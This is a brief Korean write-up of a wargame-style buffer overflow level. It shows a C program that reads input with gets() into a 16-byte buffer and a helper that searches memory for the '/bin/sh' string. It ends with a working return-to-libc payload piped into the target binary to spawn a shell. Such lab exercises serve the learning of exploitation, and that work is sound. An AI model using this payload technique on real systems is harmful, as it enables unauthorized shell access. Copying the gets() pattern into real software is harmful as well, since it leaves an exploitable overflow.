int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
이전 문제랑 유사한데 틀린점이 있다면 strcpy 쓰는 것이 아니라 gets 를 사용한다. 아마 입력값을 다르게 줘야한다는 걸 연습하는 문제인거 같다.
RTL 방법으로 해보겠다.
system 주소 찾고
#include <stdio.h>
int main()
{
long shell = 0x40058ae0;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;
printf("\"/bin/sh\" : 0x%x\n",shell);
}
위 코드를 컴파일해서 /bin/sh 주소를 찾는다.
payload는 (python -c 'print("A"*20+"\xe0\x8a\x05\x40"+"\xff\xff\xff\xff"+"\xf9\xbf\x0f\x40")';cat) | ./attackme
성공